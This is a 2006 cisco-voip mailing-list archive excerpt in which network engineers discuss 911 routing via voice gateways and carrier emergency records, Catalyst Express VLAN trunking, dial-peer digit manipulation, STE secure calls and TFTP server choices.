> On 2/16/06, James Grace <jgrace at digitelusa.net> wrote:
> >
> >  Im in a crunch to get some data from the cdr records.  Currently we are
> > no able to run the cdr analyis and reporting pluging on our CM pub..  major
> > issues with the tomcat and tcd services,they wont start.  But all the other
> > setting are set up and data is populating in the cdr tables.  Can someone
> > give me a basic sql query to pull out all calls in and out to a particular
> > ext.
> >
> >
> >
> > James D. Grace
> >
> > *CCNP CCNA MCSE MCDBA*
> >
> > Sr. System Engineer / Professional Svc.
> >
> > *Digitel Corporation*
> >
> >
> >
> > _______________________________________________
> > cisco-voip mailing list
> > cisco-voip at puck.nether.net
> > https://puck.nether.net/mailman/listinfo/cisco-voip
> >
> >
> >
>
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From lelio at uoguelph.ca  Thu Feb 16 15:51:54 2006
From: lelio at uoguelph.ca (Lelio Fulgenzi)
Date: Thu Feb 16 15:52:10 2006
Subject: [cisco-voip] Smallest Cheapest VGW
References: <D713462ED535184D830F6F6301753E7E01BE1577@VISHNU.wesd.org>
Message-ID: <009001c6333a$d1deff10$c801a8c0@deadfish>

Some carriers offer a service whereby you can assign a specific emergency record to a number on your PRI service. If you can get this, than you can configure route patterns appropriately so that 911 calls from these phones still go out your main site but are tagged with the site specific number, therefore, bringing up the right emergency record.

  ----- Original Message ----- 
  From: Voll, Scott 
  To: cisco-voip at puck.nether.net 
  Sent: Thursday, February 16, 2006 2:00 PM
  Subject: [cisco-voip] Smallest Cheapest VGW


  I have a remote site (across the street) connected via Fiber to the Central Site.  All PSTN calls go out the main site.  I'm a little concerned about 911 calls.  So I'm thinking I may want to put a little VGW with a FXO over there for 911 Calls.  Not because I'm worried about the Fiber but because I want 911 to have the correct address 2600 not 2611.

   

  What is the smallest mgcp VGW I can get that will just take IP to 911 out a FXO port.  No routing needed.  Something like a ATA would be great.  ( I know an ATA won't work, but that's kinda what I'm looking for).  At 2801 seems to be a little over kill.

   

  Scott 



------------------------------------------------------------------------------


  _______________________________________________
  cisco-voip mailing list
  cisco-voip at puck.nether.net
  https://puck.nether.net/mailman/listinfo/cisco-voip
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From Scott.Voll at wesd.org  Thu Feb 16 15:53:31 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Thu Feb 16 15:53:40 2006
Subject: [cisco-voip] Smallest Cheapest VGW
Message-ID: <D713462ED535184D830F6F6301753E7E01BE1589@VISHNU.wesd.org>

Fortunately or unfortunately Cisco is bundling the 2801's for about the
same price of a 1760v.  make more $$ cents to go with the 2801.  Just
seems overkill for a POTS VGW that will only get used for the
occasionally 911 call.

 

CIPTUG guys..... anyone put in a FAC for this?

 

Scott

 

________________________________

From: Jonathan Charles [mailto:jonvoip at gmail.com] 
Sent: Thursday, February 16, 2006 12:30 PM
To: Wes Sisk
Cc: Voll, Scott; cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Smallest Cheapest VGW

 

That is just a 1760 with PVDMs in it.



Jonathan

On 2/16/06, Wes Sisk <wsisk at cisco.com> wrote:

1760v?

Voll, Scott wrote:
>
> I have a remote site (across the street) connected via Fiber to the
> Central Site. All PSTN calls go out the main site. I'm a little
> concerned about 911 calls. So I'm thinking I may want to put a little 
> VGW with a FXO over there for 911 Calls. Not because I'm worried about
> the Fiber but because I want 911 to have the correct address 2600 not
> 2611.
>
> What is the smallest mgcp VGW I can get that will just take IP to 911 
> out a FXO port. No routing needed. Something like a ATA would be
> great. ( I know an ATA won't work, but that's kinda what I'm looking
> for). At 2801 seems to be a little over kill.
>
> Scott 
>
>
------------------------------------------------------------------------
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip 

 

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From Scott.Voll at wesd.org  Thu Feb 16 15:54:34 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Thu Feb 16 15:54:44 2006
Subject: [cisco-voip] Smallest Cheapest VGW
Message-ID: <D713462ED535184D830F6F6301753E7E01BE158A@VISHNU.wesd.org>

And the Emergency responder goes along with that....... Real $$$$$$'s

 

Scott

 

________________________________

From: Lelio Fulgenzi [mailto:lelio at uoguelph.ca] 
Sent: Thursday, February 16, 2006 12:52 PM
To: Voll, Scott; cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Smallest Cheapest VGW

 

Some carriers offer a service whereby you can assign a specific
emergency record to a number on your PRI service. If you can get this,
than you can configure route patterns appropriately so that 911 calls
from these phones still go out your main site but are tagged with the
site specific number, therefore, bringing up the right emergency record.

 

	----- Original Message ----- 

	From: Voll, Scott <mailto:Scott.Voll at wesd.org>  

	To: cisco-voip at puck.nether.net 

	Sent: Thursday, February 16, 2006 2:00 PM

	Subject: [cisco-voip] Smallest Cheapest VGW

	 

	I have a remote site (across the street) connected via Fiber to
the Central Site.  All PSTN calls go out the main site.  I'm a little
concerned about 911 calls.  So I'm thinking I may want to put a little
VGW with a FXO over there for 911 Calls.  Not because I'm worried about
the Fiber but because I want 911 to have the correct address 2600 not
2611.

	 

	What is the smallest mgcp VGW I can get that will just take IP
to 911 out a FXO port.  No routing needed.  Something like a ATA would
be great.  ( I know an ATA won't work, but that's kinda what I'm looking
for).  At 2801 seems to be a little over kill.

	 

	Scott 

	
________________________________


	_______________________________________________
	cisco-voip mailing list
	cisco-voip at puck.nether.net
	https://puck.nether.net/mailman/listinfo/cisco-voip

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From lelio at uoguelph.ca  Thu Feb 16 15:57:57 2006
From: lelio at uoguelph.ca (Lelio Fulgenzi)
Date: Thu Feb 16 15:58:01 2006
Subject: [cisco-voip] Smallest Cheapest VGW
References: <D713462ED535184D830F6F6301753E7E01BE158A@VISHNU.wesd.org>
Message-ID: <00b601c6333b$aa135ac0$c801a8c0@deadfish>

I disagree. If you purchase a VGW, you have to program your phones to route 911 calls outside that GW anyways. This is the same thing, except that your changing the mask manually on the route pattern to that specific number. Granted if you pick up the phone and move it to another building it would break, but it would break with the VGW model as well.

Some providers also offer a service for the DIDs into your PRIs which is done on a contract basis and requires extra hardware, but still no ER so it doesn't offer location tracking.
  ----- Original Message ----- 
  From: Voll, Scott 
  To: Lelio Fulgenzi ; cisco-voip at puck.nether.net 
  Sent: Thursday, February 16, 2006 3:54 PM
  Subject: RE: [cisco-voip] Smallest Cheapest VGW


  And the Emergency responder goes along with that... Real $$$$$$'s

   

  Scott

   


------------------------------------------------------------------------------

  From: Lelio Fulgenzi [mailto:lelio at uoguelph.ca] 
  Sent: Thursday, February 16, 2006 12:52 PM
  To: Voll, Scott; cisco-voip at puck.nether.net
  Subject: Re: [cisco-voip] Smallest Cheapest VGW

   

  Some carriers offer a service whereby you can assign a specific emergency record to a number on your PRI service. If you can get this, than you can configure route patterns appropriately so that 911 calls from these phones still go out your main site but are tagged with the site specific number, therefore, bringing up the right emergency record.

   

    ----- Original Message ----- 

    From: Voll, Scott 

    To: cisco-voip at puck.nether.net 

    Sent: Thursday, February 16, 2006 2:00 PM

    Subject: [cisco-voip] Smallest Cheapest VGW

     

    I have a remote site (across the street) connected via Fiber to the Central Site.  All PSTN calls go out the main site.  I'm a little concerned about 911 calls.  So I'm thinking I may want to put a little VGW with a FXO over there for 911 Calls.  Not because I'm worried about the Fiber but because I want 911 to have the correct address 2600 not 2611.

     

    What is the smallest mgcp VGW I can get that will just take IP to 911 out a FXO port.  No routing needed.  Something like a ATA would be great.  ( I know an ATA won't work, but that's kinda what I'm looking for).  At 2801 seems to be a little over kill.

     

    Scott 


----------------------------------------------------------------------------

    _______________________________________________
    cisco-voip mailing list
    cisco-voip at puck.nether.net
    https://puck.nether.net/mailman/listinfo/cisco-voip
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From jsteinberg at gmail.com  Thu Feb 16 16:02:24 2006
From: jsteinberg at gmail.com (Justin Steinberg)
Date: Thu Feb 16 16:02:27 2006
Subject: [cisco-voip] Smallest Cheapest VGW
Message-ID: <f1b65f880602161302l45283fd6lfb5ba8a48808bde2@mail.gmail.com>

I believe this is how the E-911 server works.  Relys on having
different emergency locations assigned to different DIDs.  The E911
server then routes calls through the appropriate RP that changes the
calling party number.

I'm not sure if all telcos support this at this time.

Justin

> Date: Thu, 16 Feb 2006 15:51:54 -0500
> From: "Lelio Fulgenzi" <lelio at uoguelph.ca>
> Subject: Re: [cisco-voip] Smallest Cheapest VGW
> To: "Voll, Scott" <Scott.Voll at wesd.org>, <cisco-voip at puck.nether.net>
> Message-ID: <009001c6333a$d1deff10$c801a8c0 at deadfish>
> Content-Type: text/plain; charset="iso-8859-1"
>
> Some carriers offer a service whereby you can assign a specific emergency record to a number on your PRI service. If you can get this, than you can configure route patterns appropriately so that 911 calls from these phones still go out your main site but are tagged with the site specific number, therefore, bringing up the right emergency record.
>
>  ----- Original Message -----
>  From: Voll, Scott
>  To: cisco-voip at puck.nether.net
>  Sent: Thursday, February 16, 2006 2:00 PM
>  Subject: [cisco-voip] Smallest Cheapest VGW
>
>
>  I have a remote site (across the street) connected via Fiber to the Central Site.  All PSTN calls go out the main site.  I'm a little concerned about 911 calls.  So I'm thinking I may want to put a little VGW with a FXO over there for 911 Calls.  Not because I'm worried about the Fiber but because I want 911 to have the correct address 2600 not 2611.
>
>
>
>  What is the smallest mgcp VGW I can get that will just take IP to 911 out a FXO port.  No routing needed.  Something like a ATA would be great.  ( I know an ATA won't work, but that's kinda what I'm looking for).  At 2801 seems to be a little over kill.
>
>
>
>  Scott
>
>


From JKing at thegranitegroup.com  Thu Feb 16 16:05:39 2006
From: JKing at thegranitegroup.com (King, Jesse)
Date: Thu Feb 16 16:05:48 2006
Subject: [cisco-voip] Smallest Cheapest VGW
Message-ID: <80FDD0062521CE4084591182C4DDB6BE011087FA@papaya.thegranitegroup.com>

My vote is to pick up a VG200 off of ebay. Or dig up a 2600 with a few
fxo ports in it.



-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Justin
Steinberg
Sent: Thursday, February 16, 2006 4:02 PM
To: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Smallest Cheapest VGW

I believe this is how the E-911 server works.  Relys on having different
emergency locations assigned to different DIDs.  The E911 server then
routes calls through the appropriate RP that changes the calling party
number.

I'm not sure if all telcos support this at this time.

Justin

> Date: Thu, 16 Feb 2006 15:51:54 -0500
> From: "Lelio Fulgenzi" <lelio at uoguelph.ca>
> Subject: Re: [cisco-voip] Smallest Cheapest VGW
> To: "Voll, Scott" <Scott.Voll at wesd.org>, <cisco-voip at puck.nether.net>
> Message-ID: <009001c6333a$d1deff10$c801a8c0 at deadfish>
> Content-Type: text/plain; charset="iso-8859-1"
>
> Some carriers offer a service whereby you can assign a specific
emergency record to a number on your PRI service. If you can get this,
than you can configure route patterns appropriately so that 911 calls
from these phones still go out your main site but are tagged with the
site specific number, therefore, bringing up the right emergency record.
>
>  ----- Original Message -----
>  From: Voll, Scott
>  To: cisco-voip at puck.nether.net
>  Sent: Thursday, February 16, 2006 2:00 PM
>  Subject: [cisco-voip] Smallest Cheapest VGW
>
>
>  I have a remote site (across the street) connected via Fiber to the
Central Site.  All PSTN calls go out the main site.  I'm a little
concerned about 911 calls.  So I'm thinking I may want to put a little
VGW with a FXO over there for 911 Calls.  Not because I'm worried about
the Fiber but because I want 911 to have the correct address 2600 not
2611.
>
>
>
>  What is the smallest mgcp VGW I can get that will just take IP to 911
out a FXO port.  No routing needed.  Something like a ATA would be
great.  ( I know an ATA won't work, but that's kinda what I'm looking
for).  At 2801 seems to be a little over kill.
>
>
>
>  Scott
>
>

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


From lelio at uoguelph.ca  Thu Feb 16 16:06:06 2006
From: lelio at uoguelph.ca (Lelio Fulgenzi)
Date: Thu Feb 16 16:06:08 2006
Subject: [cisco-voip] Smallest Cheapest VGW
References: <f1b65f880602161302l45283fd6lfb5ba8a48808bde2@mail.gmail.com>
Message-ID: <00de01c6333c$cde6ff00$c801a8c0@deadfish>

Definately, the DID service is the one that goes with ER. That's an expensive route for both the PSALI service you have to purchase from the carrier as well as the ER service from your telephony vendor. 

But I'm 99.9% sure that if you use an LDN on your PRI service (as far as I know, an LDN is a number which has specific handling rules unlike DID which is part of a group and office route) you can modify the emergency database record.
  ----- Original Message ----- 
  From: Justin Steinberg 
  To: cisco-voip at puck.nether.net 
  Sent: Thursday, February 16, 2006 4:02 PM
  Subject: Re: [cisco-voip] Smallest Cheapest VGW


  I believe this is how the E-911 server works.  Relys on having
  different emergency locations assigned to different DIDs.  The E911
  server then routes calls through the appropriate RP that changes the
  calling party number.

  I'm not sure if all telcos support this at this time.

  Justin

  > Date: Thu, 16 Feb 2006 15:51:54 -0500
  > From: "Lelio Fulgenzi" <lelio at uoguelph.ca>
  > Subject: Re: [cisco-voip] Smallest Cheapest VGW
  > To: "Voll, Scott" <Scott.Voll at wesd.org>, <cisco-voip at puck.nether.net>
  > Message-ID: <009001c6333a$d1deff10$c801a8c0 at deadfish>
  > Content-Type: text/plain; charset="iso-8859-1"
  >
  > Some carriers offer a service whereby you can assign a specific emergency record to a number on your PRI service. If you can get this, than you can configure route patterns appropriately so that 911 calls from these phones still go out your main site but are tagged with the site specific number, therefore, bringing up the right emergency record.
  >
  >  ----- Original Message -----
  >  From: Voll, Scott
  >  To: cisco-voip at puck.nether.net
  >  Sent: Thursday, February 16, 2006 2:00 PM
  >  Subject: [cisco-voip] Smallest Cheapest VGW
  >
  >
  >  I have a remote site (across the street) connected via Fiber to the Central Site.  All PSTN calls go out the main site.  I'm a little concerned about 911 calls.  So I'm thinking I may want to put a little VGW with a FXO over there for 911 Calls.  Not because I'm worried about the Fiber but because I want 911 to have the correct address 2600 not 2611.
  >
  >
  >
  >  What is the smallest mgcp VGW I can get that will just take IP to 911 out a FXO port.  No routing needed.  Something like a ATA would be great.  ( I know an ATA won't work, but that's kinda what I'm looking for).  At 2801 seems to be a little over kill.
  >
  >
  >
  >  Scott
  >
  >

  _______________________________________________
  cisco-voip mailing list
  cisco-voip at puck.nether.net
  https://puck.nether.net/mailman/listinfo/cisco-voip
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From jonvoip at gmail.com  Thu Feb 16 16:06:13 2006
From: jonvoip at gmail.com (Jonathan Charles)
Date: Thu Feb 16 16:06:21 2006
Subject: [cisco-voip] Smallest Cheapest VGW
In-Reply-To: <f1b65f880602161302l45283fd6lfb5ba8a48808bde2@mail.gmail.com>
References: <f1b65f880602161302l45283fd6lfb5ba8a48808bde2@mail.gmail.com>
Message-ID: <5d093f9a0602161306n9aef771g53ca05bb3dd6af94@mail.gmail.com>

You are also going to want to use it for SRST.


J
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From pwalenta at wi.rr.com  Thu Feb 16 16:43:20 2006
From: pwalenta at wi.rr.com (Philip Walenta)
Date: Thu Feb 16 16:43:21 2006
Subject: [cisco-voip] VoIP deployment case study
Message-ID: <200602162143.k1GLhIEk024378@ms-smtp-02.rdc-kc.rr.com>

Just tripped over this.  It's from 2002, but might be a good read.  
 
It's Cisco's own 54,000 phone rollout detailed by project managers etc.
 
(registration required)
http://whitepapers.zdnet.com/abstract.aspx?docid=162986
<http://whitepapers.zdnet.com/abstract.aspx?docid=162986&promo=100503>
&promo=100503
 
Philip Walenta
email: pwalenta at wi.rr.com 
  cell:  262.951.1941
 
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From BRiley at jackhenry.com  Thu Feb 16 16:44:41 2006
From: BRiley at jackhenry.com (Bill Riley III)
Date: Thu Feb 16 16:44:44 2006
Subject: [cisco-voip] CME transcoding issue
Message-ID: <13591CB4B2359F4D96E2606DD6B840A0012E4431@smoxchg.jhacorp.com>

Here are some e-mail writing tips. 

 

http://www.library.yale.edu/training/netiquette/

 

 

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Brad Akers
Sent: Thursday, February 16, 2006 11:33 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] CME transcoding issue

 

 

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From jgrace at digitelusa.net  Thu Feb 16 17:45:04 2006
From: jgrace at digitelusa.net (James Grace)
Date: Thu Feb 16 17:52:12 2006
Subject: [cisco-voip] is there to config "allow vlan 10,20,30,40 on cat500
Message-ID: <200602161751484.SM01568@3729434770>

We have the cat exp 500 and it confusing to config  when you try to match it
to the cat 3550  you are replacing.  One of our ports on the 3550 is for an
AP with multiple vlans 

 

Int fa  0/23 

 Switchport access vl 30 

 Switchport trunk enc dot1q

 Switchport trunk allowed vl 10,20,80

 Switchport mode trunk 

 

How do I make this happen on a cat exp 500,  Will the ap role automatically
allow this 

 

James D. Grace 

CCNP CCNA MCSE MCDBA

Sr. System Engineer / Professional Svc.

Digitel Corporation

 

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From jim at jimfeely.com  Thu Feb 16 19:18:28 2006
From: jim at jimfeely.com (Jim Feely)
Date: Thu Feb 16 19:18:29 2006
Subject: [cisco-voip] Secure STE calls over an Avaya-Cisco hybrid network
	fail
In-Reply-To: <200602151612.k1FGCnu5082397@puck.nether.net>
Message-ID: <003601c63357$ad577880$6401a8c0@multimedia>

I'm having trouble making secure STE calls over my network.  It looks
something like this:

STE1 - pbx - Cisco gateway - IP Cloud - Cisco Gatekeeper - Avaya PBX - STE2

We are using a Gateway/Gatekeeper configuration.  No IP phones, or Call
Managers are involved.  The STEs are connected as analog PBX stations on
both sides.

The Avaya s8700 is connected to the Cisco 3825 via Avaya's IP Trunk cards
(C-LAN and MedPro cards).  Using only g.711 with no modem pass-through or
modem-relay on the gateway dial-peer, we can go to secure mode on the STEs
if the secure mode is initiated at STE1.  However secure mode fails if
secure mode is initiated at STE2.  (When secure mode is initiated at STE2,
STE1 doesn't recognize that secure mode was initiated.)

The gateway's dial-peer looks something like this:
Dail-peer voice voip 9
No vad
Default fax rate
Codec g711mulaw
Session target ras


Further, secure mode fails if we use any type of modem pass-through.  As
expected, modem-relay also fails since it is Cisco Proprietary.  The only
STE signaling that works is STU mode; the other mode (something like FNBT)
always fails.

The main point here is that the media stream is terminated at a Cisco
gateway on one side and an Avaya MedPro card on the other.

Stumped
-Jim


From ciscozest at gmail.com  Thu Feb 16 19:26:39 2006
From: ciscozest at gmail.com (Ciscozest)
Date: Thu Feb 16 19:26:46 2006
Subject: [cisco-voip] basic digit manipulation
References: <13591CB4B2359F4D96E2606DD6B840A0012E4431@smoxchg.jhacorp.com>
Message-ID: <000f01c63358$d47565c0$6301a8c0@windfall99>

I am wondering what digits are sent with following config:

dial-peer voi 1 pots
destination-pattern 9[1-4].......
prefix 565
!

I have two FXS and two FXO VIC in my vg200, but no PSTN line. Is there a way i can test the above setup? Ie: to simulate as if the FXO interface 'up' so that I can use debug voice command to see the digits sent out. Anyone can help? 

thanks
Robin
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From jonvoip at gmail.com  Thu Feb 16 19:33:43 2006
From: jonvoip at gmail.com (Jonathan Charles)
Date: Thu Feb 16 19:33:45 2006
Subject: [cisco-voip] basic digit manipulation
In-Reply-To: <000f01c63358$d47565c0$6301a8c0@windfall99>
References: <13591CB4B2359F4D96E2606DD6B840A0012E4431@smoxchg.jhacorp.com>
	<000f01c63358$d47565c0$6301a8c0@windfall99>
Message-ID: <5d093f9a0602161633jc7d01e6kf064347b04520672@mail.gmail.com>

565 then not the 9 or the next matched digit, anything matched by the dots
will be sent...

So,

565.......

Would be sent.



Jonathan

On 2/16/06, Ciscozest <ciscozest at gmail.com> wrote:
>
> I am wondering what digits are sent with following config:
>
> dial-peer voi 1 pots
> destination-pattern 9[1-4].......
> prefix 565
> !
>
> I have two FXS and two FXO VIC in my vg200, but no PSTN line. Is there a
> way i can test the above setup? Ie: to simulate as if the FXO interface 'up'
> so that I can use debug voice command to see the digits sent out. Anyone
> can help?
>
> thanks
> Robin
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
>
>
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From ciscozest at gmail.com  Thu Feb 16 19:42:40 2006
From: ciscozest at gmail.com (Ciscozest)
Date: Thu Feb 16 19:42:46 2006
Subject: [cisco-voip] basic digit manipulation
References: <13591CB4B2359F4D96E2606DD6B840A0012E4431@smoxchg.jhacorp.com>
	<000f01c63358$d47565c0$6301a8c0@windfall99>
	<5d093f9a0602161633jc7d01e6kf064347b04520672@mail.gmail.com>
Message-ID: <003601c6335b$11195070$6301a8c0@windfall99>

thanks for your reply.  Initialy I thought anything within the bracket is not excplitly matched and will be sent out.
Anyway how if I want to include that range digit [1-4] to PSTN? Is there a simpler way to do it rather than create a unique dial-peer for each of them?
  ----- Original Message ----- 
  From: Jonathan Charles 
  To: Ciscozest 
  Cc: cisco-voip at puck.nether.net 
  Sent: Friday, February 17, 2006 8:33 AM
  Subject: Re: [cisco-voip] basic digit manipulation


  565 then not the 9 or the next matched digit, anything matched by the dots will be sent...

  So, 

  565.......

  Would be sent.



  Jonathan


  On 2/16/06, Ciscozest <ciscozest at gmail.com> wrote:
    I am wondering what digits are sent with following config:

    dial-peer voi 1 pots
    destination-pattern 9[1-4].......
    prefix 565
    !

    I have two FXS and two FXO VIC in my vg200, but no PSTN line. Is there a way i can test the above setup? Ie: to simulate as if the FXO interface 'up' so that I can use debug voice command to see the digits sent out. Anyone can help? 

    thanks
    Robin

    _______________________________________________
    cisco-voip mailing list
    cisco-voip at puck.nether.net
    https://puck.nether.net/mailman/listinfo/cisco-voip




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From kthorngr at cisco.com  Thu Feb 16 20:47:32 2006
From: kthorngr at cisco.com (Kevin Thorngren)
Date: Thu Feb 16 20:47:23 2006
Subject: [cisco-voip] is there to config "allow vlan 10, 20, 30,
	40 on cat500
In-Reply-To: <200602161751484.SM01568@3729434770>
References: <200602161751484.SM01568@3729434770>
Message-ID: <7949ef7e9f4d338b7ab17c4d4bbe4de2@cisco.com>

I might be wrong but in looking at the Cat 500 product data sheet I  
don't see mention of trunking support.  Based on this I would say that  
you won't be able to duplicate your 3550 config on the Cat 500.  The  
data sheet can be found here:
http://www.cisco.com/en/US/products/ps6545/ 
products_data_sheet0900aecd80322aeb.html

Kevin
On Feb 16, 2006, at 5:45 PM, James Grace wrote:

> We have the cat exp 500 and it confusing to config? when you try to  
> match it to the cat 3550? you are replacing.? One of our ports on the  
> 3550 is for an AP with multiple vlans
> ?
> Int fa? 0/23
> ?Switchport access vl 30
> ?Switchport trunk enc dot1q
> ?Switchport trunk allowed vl 10,20,80
> ?Switchport mode trunk
> ?
> How do I make this happen on a cat exp 500,? Will the ap role  
> automatically allow this
> ?
> James D. Grace
> CCNP CCNA MCSE MCDBA
> Sr. System Engineer / Professional Svc.
> Digitel Corporation
> ?
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
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From erickbe at yahoo.com  Thu Feb 16 21:24:36 2006
From: erickbe at yahoo.com (Erick Bergquist)
Date: Thu Feb 16 21:25:01 2006
Subject: [cisco-voip] is there to config "allow vlan 10, 20, 30,
	40 on cat500
In-Reply-To: <7949ef7e9f4d338b7ab17c4d4bbe4de2@cisco.com>
Message-ID: <20060217022437.26885.qmail@web34311.mail.mud.yahoo.com>


In the following doc, you need to use the Smartports
option and the switch porttype to connect to another
switch. But no mention how to limit VLANs on trunk,
looks like the native vlan is only selectable on a
port type set to switch. From my understanding, these
are targeted toward smaller businesses and
easy-to-setup so  may not be as feature rich.

http://www.cisco.com/en/US/products/ps6545/products_user_guide_chapter09186a0080531ea9.html#wp172088



--- Kevin Thorngren <kthorngr at cisco.com> wrote:

> I might be wrong but in looking at the Cat 500
> product data sheet I  
> don't see mention of trunking support.  Based on
> this I would say that  
> you won't be able to duplicate your 3550 config on
> the Cat 500.  The  
> data sheet can be found here:
> http://www.cisco.com/en/US/products/ps6545/ 
> products_data_sheet0900aecd80322aeb.html
> 
> Kevin
> On Feb 16, 2006, at 5:45 PM, James Grace wrote:
> 
> > We have the cat exp 500 and it confusing to
> config??? when you try to  
> > match it to the cat 3550??? you are replacing.???
One
> of our ports on the  
> > 3550 is for an AP with multiple vlans
> > ???
> > Int fa??? 0/23
> > ???Switchport access vl 30
> > ???Switchport trunk enc dot1q
> > ???Switchport trunk allowed vl 10,20,80
> > ???Switchport mode trunk
> > ???
> > How do I make this happen on a cat exp 500,???
Will
> the ap role  
> > automatically allow this
> > ???
> > James D. Grace
> > CCNP CCNA MCSE MCDBA
> > Sr. System Engineer / Professional Svc.
> > Digitel Corporation
> > ???
> > _______________________________________________
> > cisco-voip mailing list
> > cisco-voip at puck.nether.net
> >
> https://puck.nether.net/mailman/listinfo/cisco-voip
> > _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
> 


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Tired of spam?  Yahoo! Mail has the best spam protection around 
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From ciscozest at gmail.com  Thu Feb 16 23:30:50 2006
From: ciscozest at gmail.com (Robin H)
Date: Thu Feb 16 23:30:53 2006
Subject: [cisco-voip] Circular Hunting with CCM3.3(4)
Message-ID: <f99cc3f60602162030g307fd938l2abbd7125c18722b@mail.gmail.com>

I want to setup circular hunting with CCM 3.3(4). Besides putting the
pilot name into "ACServer.properties", do I need to include the AC
pilot number as the last member in the Hunt List? Thanks


From medley at mac.com  Thu Feb 16 18:03:57 2006
From: medley at mac.com (Tim Medley)
Date: Thu Feb 16 23:37:30 2006
Subject: [cisco-voip] CCMAdmin on OS X
Message-ID: <9C64F2AD-2020-4879-A9A3-96ED126EF8E0@mac.com>

Just curious how many other folks use Mac's and OS X as there day to  
day computer. A while back I ran some basic tests and found that  
Opera would work to use CCMAdmin and Unity SA, but recently have  
found that it no longer works. I am wondering what other people have  
found or if you have just given up?

tm

Tim Medley
medley at mac.com




From klaus.mailinglists at pernau.at  Fri Feb 17 04:18:40 2006
From: klaus.mailinglists at pernau.at (Klaus Darilion)
Date: Fri Feb 17 04:18:46 2006
Subject: [cisco-voip] 3rd Party Outlook Dialer and Web Dialer
In-Reply-To: <965C0255FD5828438E34F9A68ECA76E740AA15@svcexch02.firm.fenwick.llp>
References: <965C0255FD5828438E34F9A68ECA76E740AA15@svcexch02.firm.fenwick.llp>
Message-ID: <43F594F0.1000108@pernau.at>

If you have a SIP based environment, you can try siptapi.

regards
klaus

Stu Packett wrote:
> At CIPTUG 2005, I found two (Aptigen and Digital Dynamics) 3rd party 
> companies that offer Outlook dialer applications.  Are there any other 
> companies that you know of that offer Outlook dialer applications?
> 
> Also, management is looking for a web dialer for our company intranet 
> directory.  I can't seem to find a 3rd party company that has a web 
> dialer application other than Cisco's Web Dialer.  Any suggestions?
> 
> Thanks in advance.
> 
> ------------------------------------------------------------------------
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> imposed by the IRS, we inform you that any U.S. federal tax advice in 
> this communication (including attachments) is not intended or written by 
> Fenwick & West LLP to be used, and cannot be used, for the purpose of 
> (i) avoiding penalties under the Internal Revenue Code or (ii) 
> promoting, marketing, or recommending to another party any transaction 
> or matter addressed herein.
> ------------------------------------------------------------------------
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> The information contained in this message may be legally privileged and 
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> entity to whom it is addressed or by their designee. If the reader of 
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> distribution of this message, in any form, is strictly prohibited.
>  
> If you have received this message in error, please immediately notify 
> the sender and/or Fenwick & West LLP by telephone at (650) 988-8500 and 
> delete or destroy any copy of this message.
> 
> 
> ------------------------------------------------------------------------
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> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip


From mfa at crec.ifas.ufl.edu  Fri Feb 17 08:36:15 2006
From: mfa at crec.ifas.ufl.edu (Mike Armstrong)
Date: Fri Feb 17 08:36:20 2006
Subject: [cisco-voip] What do y'all use for a TFTP server?
References: <200602170431.k1H4Uvj1002696@puck.nether.net>
Message-ID: <022101c633c7$20bb4490$0402a8c0@crec.ifas.ufl.edu>

I've been using TFTP32.exe by "Ph. Jounin" for years, but McAfee Virus Scan 
just decided it's a "Generic PUP.a (Potentially Unwanted Program)" and 
deleted it without asking for my opinion.  I've downloaded the latest 
version and re-installed it, and so far Virus Scan hasn't complained again, 
but I'd be interested in what others are currently using.

Mike Armstrong
UF/IFAS CREC
Lake Alfred, FL 


From pwalenta at wi.rr.com  Fri Feb 17 08:41:25 2006
From: pwalenta at wi.rr.com (Philip Walenta)
Date: Fri Feb 17 08:41:24 2006
Subject: [cisco-voip] What do y'all use for a TFTP server?
In-Reply-To: <022101c633c7$20bb4490$0402a8c0@crec.ifas.ufl.edu>
Message-ID: <200602171341.k1HDfLgX026156@ms-smtp-03.rdc-kc.rr.com>

I use both "tftpd32" and unix based tftp.  Haven't really found a need for
anything fancier. 

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Mike Armstrong
Sent: Friday, February 17, 2006 7:36 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] What do y'all use for a TFTP server?

I've been using TFTP32.exe by "Ph. Jounin" for years, but McAfee Virus Scan
just decided it's a "Generic PUP.a (Potentially Unwanted Program)" and
deleted it without asking for my opinion.  I've downloaded the latest
version and re-installed it, and so far Virus Scan hasn't complained again,
but I'd be interested in what others are currently using.

Mike Armstrong
UF/IFAS CREC
Lake Alfred, FL 

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


From tomlemay at adelphia.net  Fri Feb 17 08:47:45 2006
From: tomlemay at adelphia.net (tomlemay@adelphia.net)
Date: Fri Feb 17 08:47:52 2006
Subject: [cisco-voip] What do y'all use for a TFTP server?
Message-ID: <18029877.1140184065081.JavaMail.root@web22>

I use PumpKin by Klever Group.  It is available at http://www.klever.net/
---- Philip Walenta <pwalenta at wi.rr.com> wrote: 
> I use both "tftpd32" and unix based tftp.  Haven't really found a need for
> anything fancier. 
> 
> -----Original Message-----
> From: cisco-voip-bounces at puck.nether.net
> [mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Mike Armstrong
> Sent: Friday, February 17, 2006 7:36 AM
